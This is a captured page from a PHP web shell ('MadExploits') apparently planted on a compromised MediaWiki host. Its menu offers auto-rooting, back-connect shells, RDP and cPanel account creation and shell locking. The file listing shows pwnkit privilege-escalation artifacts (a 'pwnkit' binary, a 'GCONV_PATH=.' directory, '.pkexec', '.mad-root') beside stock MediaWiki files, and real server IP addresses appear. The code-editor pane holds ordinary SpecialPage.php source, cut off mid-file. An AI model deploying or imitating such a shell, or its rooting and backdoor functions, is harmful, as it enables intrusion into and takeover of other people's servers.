Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SpecialPage.php
<?php /** * SpecialPage: handling special pages and lists thereof. * * To add a special page in an extension, add to $wgSpecialPages either * an object instance or an array containing the name and constructor * parameters. The latter is preferred for performance reasons. * * The object instantiated must be either an instance of SpecialPage or a * sub-class thereof. It must have an execute() method, which sends the HTML * for the special page to $wgOut. The parent class has an execute() method * which distributes the call to the historical global functions. Additionally, * execute() also checks if the user has the necessary access privileges * and bails out if not. * * To add a core special page, use the similar static list in * SpecialPage::$mList. To remove a core static special page at runtime, use * a SpecialPage_initList hook. * * @file * @ingroup SpecialPage * @defgroup SpecialPage SpecialPage */ /** * Parent special page class, also static functions for handling the special * page list. * @ingroup SpecialPage */ class SpecialPage { // The canonical name of this special page // Also used for the default <h1> heading, @see getDescription() protected $mName; // The local name of this special page private $mLocalName; // Minimum user level required to access this page, or "" for anyone. // Also used to categorise the pages in Special:Specialpages private $mRestriction; // Listed in Special:Specialpages? private $mListed; // Function name called by the default execute() private $mFunction; // File which needs to be included before the function above can be called private $mFile; // Whether or not this special page is being included from an article protected $mIncluding; // Whether the special page can be included in an article protected $mIncludable; /** * Current request context * @var IContextSource */ protected $mContext; /** * Initialise the special page list * This must be called before accessing SpecialPage::$mList * @deprecated since 1.18 */ static function initList() { wfDeprecated( __METHOD__, '1.18' ); // Noop } /** * @deprecated since 1.18 */ static function initAliasList() { wfDeprecated( __METHOD__, '1.18' ); // Noop } /** * Given a special page alias, return the special page name. * Returns false if there is no such alias. * * @param $alias String * @return String or false * @deprecated since 1.18 call SpecialPageFactory method directly */ static function resolveAlias( $alias ) { wfDeprecated( __METHOD__, '1.18' ); list( $name, /*...*/ ) = SpecialPageFactory::resolveAlias( $alias ); return $name; } /** * Given a special page name with a possible subpage, return an array * where the first element is the special page name and the second is the * subpage. * * @param $alias String * @return Array * @deprecated since 1.18 call SpecialPageFactory method directly */ static function resolveAliasWithSubpage( $alias ) { return SpecialPageFactory::resolveAlias( $alias ); } /** * Add a page to the list of valid special pages. This used to be the preferred * method for adding special pages in extensions. It's now suggested that you add * an associative record to $wgSpecialPages. This avoids autoloading SpecialPage. * * @param $page SpecialPage * @deprecated since 1.7, warnings in 1.17, might be removed in 1.20 */ static function addPage( &$page ) { wfDeprecated( __METHOD__, '1.7' ); SpecialPageFactory::getList()->{$page->mName} = $page; } /** * Add a page to a certain display group for Special:SpecialPages * * @param $page Mixed: SpecialPage or string * @param $group String * @return null * @deprecated since 1.18 call SpecialPageFactory method directly */ static function setGroup( $page, $group ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::setGroup( $page, $group ); } /** * Get the group that the special page belongs in on Special:SpecialPage * * @param $page SpecialPage * @return null * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getGroup( &$page ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getGroup( $page ); } /** * Remove a special page from the list * Formerly used to disable expensive or dangerous special pages. The * preferred method is now to add a SpecialPage_initList hook. * @deprecated since 1.18 * * @param $name String the page to remove */ static function removePage( $name ) { wfDeprecated( __METHOD__, '1.18' ); unset( SpecialPageFactory::getList()->$name ); } /** * Check if a given name exist as a special page or as a special page alias * * @param $name String: name of a special page * @return Boolean: true if a special page exists with this name * @deprecated since 1.18 call SpecialPageFactory method directly */ static function exists( $name ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::exists( $name ); } /** * Find the object with a given name and return it (or NULL) * * @param $name String * @return SpecialPage object or null if the page doesn't exist * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getPage( $name ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getPage( $name ); } /** * Get a special page with a given localised name, or NULL if there * is no such special page. * * @param $alias String * @return SpecialPage object or null if the page doesn't exist * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getPageByAlias( $alias ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getPage( $alias ); } /** * Return categorised listable special pages which are available * for the current user, and everyone. * * @param $user User object to check permissions, $wgUser will be used * if not provided * @return Associative array mapping page's name to its SpecialPage object * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getUsablePages( User $user = null ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getUsablePages( $user ); } /** * Return categorised listable special pages for all users * * @return Associative array mapping page's name to its SpecialPage object * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getRegularPages() { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getRegularPages(); } /** * Return categorised listable special pages which are available * for the current user, but not for everyone * * @return Associative array mapping page's name to its SpecialPage object * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getRestrictedPages() { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getRestrictedPages(); } /** * Execute a special page path. * The path may contain parameters, e.g. Special:Name/Params * Extracts the special page name and call the execute method, passing the parameters * * Returns a title object if the page is redirected, false if there was no such special * page, and true if it was successful. * * @param $title Title object * @param $context IContextSource * @param $including Bool output is being captured for use in {{special:whatever}} * @return Bool * @deprecated since 1.18 call SpecialPageFactory method directly */ public static function executePath( &$title, IContextSource &$context, $including = false ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::executePath( $title, $context, $including ); } /** * Get the local name for a specified canonical name * * @param $name String * @param $subpage Mixed: boolean false, or string * * @return String * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getLocalNameFor( $name, $subpage = false ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getLocalNameFor( $name, $subpage ); } /** * Get a localised Title object for a specified special page name * * @param $name String * @param $subpage String|Bool subpage string, or false to not use a subpage * @return Title object */ public static function getTitleFor( $name, $subpage = false ) { $name = SpecialPageFactory::getLocalNameFor( $name, $subpage ); if ( $name ) { return Title::makeTitle( NS_SPECIAL, $name ); } else { throw new MWException( "Invalid special page name \"$name\"" ); } } /** * Get a localised Title object for a page name with a possibly unvalidated subpage * * @param $name String * @param $subpage String|Bool subpage string, or false to not use a subpage * @return Title object or null if the page doesn't exist */ public static function getSafeTitleFor( $name, $subpage = false ) { $name = SpecialPageFactory::getLocalNameFor( $name, $subpage ); if ( $name ) { return Title::makeTitleSafe( NS_SPECIAL, $name ); } else { return null; } } /** * Get a title for a given alias * * @param $alias String * @return Title or null if there is no such alias * @deprecated since 1.18 call SpecialPageFactory method directly */ static function getTitleForAlias( $alias ) { wfDeprecated( __METHOD__, '1.18' ); return SpecialPageFactory::getTitleForAlias( $alias ); } /** * Default constructor for special pages * Derivative classes should call this from their constructor * Note that if the user does not have the required level, an error message will * be displayed by the default execute() method, without the global function ever * being called. * * If you override execute(), you can recover the default behaviour with userCanExecute() * and displayRestrictionError() * * @param $name String: name of the special page, as seen in links and URLs * @param $restriction String: user right required, e.g. "block" or "delete" * @param $listed Bool: whether the page is listed in Special:Specialpages * @param $function Callback|Bool: function called by execute(). By default it is constructed from $name * @param $file String: file which is included by execute(). It is also constructed from $name by default * @param $includable Bool: whether the page can be included in normal pages */ public function __construct( $name = '', $restriction = '', $listed = true, $function = false, $file = 'default', $includable = false ) { $this->init( $name, $restriction, $listed, $function, $file, $includable ); } /** * Do the real work for the constructor, mainly so __call() can intercept * calls to SpecialPage() * @param $name String: name of the special page, as seen in links and URLs * @param $restriction String: user right required, e.g. "block" or "delete" * @param $listed Bool: whether the page is listed in Special:Specialpages * @param $function Callback|Bool: function called by execute(). By default it is constructed from $name * @param $file String: file which is included by execute(). It is also constructed from $name by default * @param $includable Bool: whether the page can be included in normal pages */ private function init( $name, $restriction, $listed, $function, $file, $includable ) { $this->mName = $name; $this->mRestriction = $restriction; $this->mListed = $listed; $this->mIncludable = $includable; if ( !$function ) { $this->mFunction = 'wfSpecial' . $name; } else { $this->mFunction = $function; } if ( $file === 'default' ) { $this->mFile = dirname( __FILE__ ) . "/specials/Special$name.php"; } else { $this->mFile = $file; } } /** * Use PHP's magic __call handler to get calls to the old PHP4 constructor * because PHP E_STRICT yells at you for having __construct() and SpecialPage() * * @param $fName String Name of called method * @param $a Array Arguments to the method * @deprecated since 1.17, call parent::__construct() */ public function __call( $fName, $a ) { // Deprecated messages now, remove in 1.19 or 1.20? wfDeprecated( __METHOD__, '1.17' ); // Sometimes $fName is SpecialPage, sometimes it's specialpage. <3 PHP if ( strtolower( $fName ) == 'specialpage' ) { $name = isset( $a[0] ) ? $a[0] : ''; $restriction = isset( $a[1] ) ? $a[1] : ''; $listed = isset( $a[2] ) ? $a[2] : true; $function = isset( $a[3] ) ? $a[3] : false; $file = isset( $a[4] ) ? $a[4] : 'default'; $includable = isset( $a[5] ) ? $a[5] : false; $this->init( $name, $restriction, $listed, $function, $file, $includable ); } else { $className = get_class( $this ); throw new MWException( "Call to undefined method $className::$fName" ); } } /** * Get the name of this Special Page. * @return String */ function getName() { return $this->mName; } /** * Get the permission that a user must have to execute this page * @return String */ function getRestriction() { return $this->mRestriction; } /** * Get the file which will be included by SpecialPage::execute() if your extension is * still stuck in the past and hasn't overridden the execute() method. No modern code * should want or need to know this. * @return String * @deprecated since 1.18 */ function getFile() { wfDeprecated( __METHOD__, '1.18' ); return $this->mFile; } // @todo FIXME: Decide which syntax to use for this, and stick to it /** * Whether this special page is listed in Special:SpecialPages * @since r3583 (v1.3) * @return Bool */ function isListed() { return $this->mListed; } /** * Set whether this page is listed in Special:Specialpages, at run-time * @since r3583 (v1.3) * @param $listed Bool * @return Bool */ function setListed( $listed ) { return wfSetVar( $this->mListed, $listed ); } /** * Get or set whether this special page is listed in Special:SpecialPages * @since r11308 (v1.6) * @param $x Bool * @return Bool */ function listed( $x = null ) { return wfSetVar( $this->mListed, $x ); } /** * Whether it's allowed to transclude the special page via {{Special:Foo/params}} * @return Bool */ public function isIncludable() { return $this->mIncludable; } /** * These mutators are very evil, as the relevant variables should not mutate. So * don't use them. * @param $x Mixed * @return Mixed * @deprecated since 1.18 */ function name( $x = null ) { wfDeprecated( __METHOD__, '1.18' ); return wfSetVar( $this->mName, $x ); } /** * These mutators are very evil, as the relevant variables should not mutate. So * don't use them. * @param $x Mixed * @return Mixed * @deprecated since 1.18 */ function restriction( $x = null ) { wfDeprecated( __METHOD__, '1.18' ); return wfSetVar( $this->mRestriction, $x ); } /** * These mutators are very evil, as the relevant variables should not mutate. So * don't use them. * @param $x Mixed * @return Mixed * @deprecated since 1.18 */ function func( $x = null ) { wfDeprecated( __METHOD__, '1.18' ); return wfSetVar( $this->mFunction, $x ); } /** * These mutators are very evil, as the relevant variables should not mutate. So * don't use them. * @param $x Mixed * @return Mixed * @deprecated since 1.18 */ function file( $x = null ) { wfDeprecated( __METHOD__, '1.18' ); return wfSetVar( $this->mFile, $x ); } /** * These mutators are very evil, as the relevant variables should not mutate. So * don't use them. * @param $x Mixed * @return Mixed * @deprecated since 1.18 */ function includable( $x = null ) { wfDeprecated( __METHOD__, '1.18' ); return wfSetVar( $this->mIncludable, $x ); } /** * Whether the special page is being evaluated via transclusion * @param $x Bool * @return Bool */ function including( $x = null ) { return wfSetVar( $this->mIncluding, $x ); } /** * Get the localised name of the special page */ function getLocalName() { if ( !isset( $this->mLocalName ) ) { $this->mLocalName = SpecialPageFactory::getLocalNameFor( $this->mName ); } return $this->mLocalName; } /** * Is this page expensive (for some definition of expensive)? * Expensive pages are disabled or cached in miser mode. Originally used * (and still overridden) by QueryPage and subclasses, moved here so that * Special:SpecialPages can safely call it for all special pages. * * @return Boolean */ public function isExpensive() { return false; } /** * Can be overridden by subclasses with more complicated permissions * schemes. * * @return Boolean: should the page be displayed with the restricted-access * pages? */ public function isRestricted() { global $wgGroupPermissions; // DWIM: If all anons can do something, then it is not restricted return $this->mRestriction != '' && empty( $wgGroupPermissions['*'][$this->mRestriction] ); } /** * Checks if the given user (identified by an object) can execute this * special page (as defined by $mRestriction). Can be overridden by sub- * classes with more complicated permissions schemes. * * @param $user User: the user to check * @return Boolean: does the user have permission to view the page? */ public function userCanExecute( User $user ) { return $user->isAllowed( $this->mRestriction ); } /** * Output an error message telling the user what access level they have to have */ function displayRestrictionError() { throw new PermissionsError( $this->mRestriction ); } /** * Checks if userCanExecute, and if not throws a PermissionsError * * @since 1.19 */ public function checkPermissions() { if ( !$this->userCanExecute( $this->getUser() ) ) { $this->displayRestrictionError(); } } /** * If the wiki is currently in readonly mode, throws a ReadOnlyError * * @since 1.19 * @throws ReadOnlyError */ public function checkReadOnly() { if ( wfReadOnly() ) { throw new ReadOnlyError; } } /** * Sets headers - this should be called from the execute() method of all derived classes! */ function setHeaders() { $out = $this->getOutput(); $out->setArticleRelated( false ); $out->setRobotPolicy( "noindex,nofollow" ); $out->setPageTitle( $this->getDescription() ); } /** * Default execute method * Checks user permissions, calls the function given in mFunction * * This must be overridden by subclasses; it will be made abstract in a future version * * @param $par String subpage string, if one was specified */ function execute( $par ) { $this->setHeaders(); $this->checkPermissions(); $func = $this->mFunction; // only load file if the function does not exist if ( !is_callable( $func ) && $this->mFile ) { require_once( $this->mFile ); } $this->outputHeader(); call_user_func( $func, $par, $this ); } /** * Outputs a summary message on top of special pages * Per default the message key is the canonical name of the special page * May be overriden, i.e. by extensions to stick with the naming conventions * for message keys: 'extensionname-xxx' * * @param $summaryMessageKey String: message key of the summary */ function outputHeader( $summaryMessageKey = '' ) { global $wgContLang; if ( $summaryMessageKey == '' ) { $msg = $wgContLang->lc( $this->getName() ) . '-summary'; } else { $msg = $summaryMessageKey; } if ( !$this->msg( $msg )->isBlank() && !$this->including() ) { $this->getOutput()->wrapWikiMsg( "<div class='mw-specialpage-summary'>\n$1\n</div>", $msg ); } } /** * Returns the name that goes in the \<h1\> in the special page itself, and * also the name that will be listed in Special:Specialpages * * Derived classes can override this, but usually it is easier to keep the * default behaviour. Messages can be added at run-time, see * MessageCache.php. * * @return String */ function getDescription() { return $this->msg( strtolower( $this->mName ) )->text(); } /** * Get a self-referential title object * * @param $subpage String|Bool * @return Title object */ function getTitle( $subpage = false ) { return self::getTitleFor( $this->mName, $subpage ); } /** * Sets the context this SpecialPage is executed in * * @param $context IContextSource * @since 1.18 */ public function setContext( $context ) { $this->mContext = $context; } /** * Gets the context this SpecialPage is executed in * * @return IContextSource|RequestContext * @since 1.18 */ public function getContext() { if ( $this->mContext instanceof IContextSource ) { return $this->mContext; } else { wfDebug( __METHOD__ . " called and \$mContext is null. Return RequestContext::getMain(); for sanity\n" ); return RequestContext::getMain(); } } /** * Get the WebRequest being used for this instance * * @return WebRequest * @since 1.18 */ public function getRequest() { return $this->getContext()->getRequest(); } /** * Get the OutputPage being used for this instance * * @return OutputPage * @since 1.18 */ public function getOutput() { return $this->getContext()->getOutput(); } /** * Shortcut to get the User executing this instance * * @return User * @since 1.18 */ public function getUser() { return $this->getContext()->getUser(); } /** * Shortcut to get the skin being used for this instance * * @return Skin * @since 1.18 */ public function getSkin() { return $this->getContext()->getSkin(); } /** * Shortcut to get user's language * * @deprecated 1.19 Use getLanguage instead * @return Language * @since 1.18 */ public function getLang() { wfDeprecated( __METHOD__, '1.19' ); return $this->getLanguage(); } /** * Shortcut to get user's language * * @return Language * @since 1.19 */ public function getLanguage() { return $this->getContext()->getLanguage(); } /** * Return the full title, including $par * * @return Title * @since 1.18 */ public function getFullTitle() { return $this->getContext()->getTitle(); } /** * Wrapper around wfMessage that sets the current context. * * @return Message * @see wfMessage */ public function msg( /* $args */ ) { // Note: can't use func_get_args() directly as second or later item in // a parameter list until PHP 5.3 or you get a fatal error. // Works fine as the first parameter, which appears elsewhere in the // code base. Sighhhh. $args = func_get_args(); return call_user_func_array( array( $this->getContext(), 'msg' ), $args ); } /** * Adds RSS/atom links * * @param $params array */ protected function addFeedLinks( $params ) { global $wgFeedClasses; $feedTemplate = wfScript( 'api' ) . '?'; foreach ( $wgFeedClasses as $format => $class ) { $theseParams = $params + array( 'feedformat' => $format ); $url = $feedTemplate . wfArrayToCGI( $theseParams ); $this->getOutput()->addFeedLink( $format, $url ); } } } /** * Special page which uses an HTMLForm to handle processing. This is mostly a * clone of FormAction. More special pages should be built this way; maybe this could be * a new structure for SpecialPages */ abstract class FormSpecialPage extends SpecialPage { /** * Get an HTMLForm descriptor array * @return Array */ protected abstract function getFormFields(); /** * Add pre- or post-text to the form * @return String HTML which will be sent to $form->addPreText() */ protected function preText() { return ''; } protected function postText() { return ''; } /** * Play with the HTMLForm if you need to more substantially * @param $form HTMLForm */ protected function alterForm( HTMLForm $form ) {} /** * Get the HTMLForm to control behaviour * @return HTMLForm|null */ protected function getForm() { $this->fields = $this->getFormFields(); $form = new HTMLForm( $this->fields, $this->getContext() ); $form->setSubmitCallback( array( $this, 'onSubmit' ) ); $form->setWrapperLegend( $this->msg( strtolower( $this->getName() ) . '-legend' ) ); $form->addHeaderText( $this->msg( strtolower( $this->getName() ) . '-text' )->parseAsBlock() ); // Retain query parameters (uselang etc) $params = array_diff_key( $this->getRequest()->getQueryValues(), array( 'title' => null ) ); $form->addHiddenField( 'redirectparams', wfArrayToCGI( $params ) ); $form->addPreText( $this->preText() ); $form->addPostText( $this->postText() ); $this->alterForm( $form ); // Give hooks a chance to alter the form, adding extra fields or text etc wfRunHooks( "Special{$this->getName()}BeforeFormDisplay", array( &$form ) ); return $form; } /** * Process the form on POST submission. * @param $data Array * @return Bool|Array true for success, false for didn't-try, array of errors on failure */ public abstract function onSubmit( array $data ); /** * Do something exciting on successful processing of the form, most likely to show a * confirmation message */ public abstract function onSuccess(); /** * Basic SpecialPage workflow: get a form, send it to the user; get some data back, * * @param $par String Subpage string if one was specified */ public function execute( $par ) { $this->setParameter( $par ); $this->setHeaders(); // This will throw exceptions if there's a problem $this->checkExecutePermissions( $this->getUser() ); $form = $this->getForm(); if ( $form->show() ) { $this->onSuccess(); } } /** * Maybe do something interesting with the subpage parameter * @param $par String */ protected function setParameter( $par ) {} /** * Called from execute() to check if the given user can perform this action. * Failures here must throw subclasses of ErrorPageError. * @param $user User * @return Bool true * @throws ErrorPageError */ protected function checkExecutePermissions( User $user ) { $this->checkPermissions(); if ( $this->requiresUnblock() && $user->isBlocked() ) { $block = $user->mBlock; throw new UserBlockedError( $block ); } if ( $this->requiresWrite() ) { $this->checkReadOnly(); } return true; } /** * Whether this action requires the wiki not to be locked * @return Bool */ public function requiresWrite() { return true; } /** * Whether this action cannot be executed by a blocked user * @return Bool */ public function requiresUnblock() { return true; } } /** * Shortcut to construct a special page which is unlisted by default * @ingroup SpecialPage */ class UnlistedSpecialPage extends SpecialPage { function __construct( $name, $restriction = '', $function = false, $file = 'default' ) { parent::__construct( $name, $restriction, false, $function, $file ); } public function isListed() { return false; } } /** * Shortcut to construct an includable special page * @ingroup SpecialPage */ class IncludableSpecialPage extends SpecialPage { function __construct( $name, $restriction = '', $listed = true, $function = false, $file = 'default' ) { parent::__construct( $name, $restriction, $listed, $function, $file, true ); } public function isIncludable() { return true; } } /** * Shortcut to construct a special page alias. * @ingroup SpecialPage */ abstract class RedirectSpecialPage extends UnlistedSpecialPage { // Query parameters that can be passed through redirects protected $mAllowedRedirectParams = array(); // Query parameteres added by redirects protected $mAddedRedirectParams = array(); public function execute( $par ) { $redirect = $this->getRedirect( $par ); $query = $this->getRedirectQuery(); // Redirect to a page title with possible query parameters if ( $redirect instanceof Title ) { $url = $redirect->getFullUrl( $query ); $this->getOutput()->redirect( $url ); wfProfileOut( __METHOD__ ); return $redirect; // Redirect to index.php with query parameters } elseif ( $redirect === true ) { global $wgScript; $url = $wgScript . '?' . wfArrayToCGI( $query ); $this->getOutput()->redirect( $url ); wfProfileOut( __METHOD__ ); return $redirect; } else { $class = __CLASS__; throw new MWException( "RedirectSpecialPage $class doesn't redirect!" ); } } /** * If the special page is a redirect, then get the Title object it redirects to. * False otherwise. * * @param $par String Subpage string * @return Title|false */ abstract public function getRedirect( $par ); /** * Return part of the request string for a special redirect page * This allows passing, e.g. action=history to Special:Mypage, etc. * * @return String */ public function getRedirectQuery() { $params = array(); foreach ( $this->mAllowedRedirectParams as $arg ) { if ( $this->getRequest()->getVal( $arg, null ) !== null ) { $params[$arg] = $this->getRequest()->getVal( $arg ); } } foreach ( $this->mAddedRedirectParams as $arg => $val ) { $params[$arg] = $val; } return count( $params ) ? $params : false; } } abstract class SpecialRedirectToSpecial extends RedirectSpecialPage { var $redirName, $redirSubpage; function __construct( $name, $redirName, $redirSubpage = false, $allowedRedirectParams = array(), $addedRedirectParams = array() ) { parent::__construct( $name ); $this->redirName = $redirName; $this->redirSubpage = $redirSubpage; $this->mAllowedRedirectParams = $allowedRedirectParams; $this->mAddedRedirectParams = $addedRedirectParams; } public function getRedirect( $subpage ) { if ( $this->redirSubpage === false ) { return SpecialPage::getTitleFor( $this->redirName, $subpage ); } else { return SpecialPage::getTitleFor( $this->redirName, $this->redirSubpage ); } } } /** * ListAdmins --> ListUsers/sysop */ class SpecialListAdmins extends SpecialRedirectToSpecial { function __construct() { parent::__construct( 'Listadmins', 'Listusers', 'sysop' ); } } /** * ListBots --> ListUsers/bot */ class SpecialListBots extends SpecialRedirectToSpecial { function __construct() { parent::__construct( 'Listbots', 'Listusers', 'bot' ); } } /** * CreateAccount --> UserLogin/signup * @todo FIXME: This (and the rest of the login frontend) needs to die a horrible painful death */ class SpecialCreateAccount extends SpecialRedirectToSpecial { function __construct() { parent::__construct( 'CreateAccount', 'Userlogin', 'signup', array( 'uselang' ) ); } } /** * SpecialMypage, SpecialMytalk and SpecialMycontributions special pages * are used to get user independant links pointing to the user page, talk * page and list of contributions. * This can let us cache a single copy of any generated content for all * users. */ /** * Shortcut to construct a special page pointing to current user user's page. * @ingroup SpecialPage */ class SpecialMypage extends RedirectSpecialPage { function __construct() { parent::__construct( 'Mypage' ); $this->mAllowedRedirectParams = array( 'action' , 'preload' , 'editintro', 'section', 'oldid', 'diff', 'dir', // Options for action=raw; missing ctype can break JS or CSS in some browsers 'ctype', 'maxage', 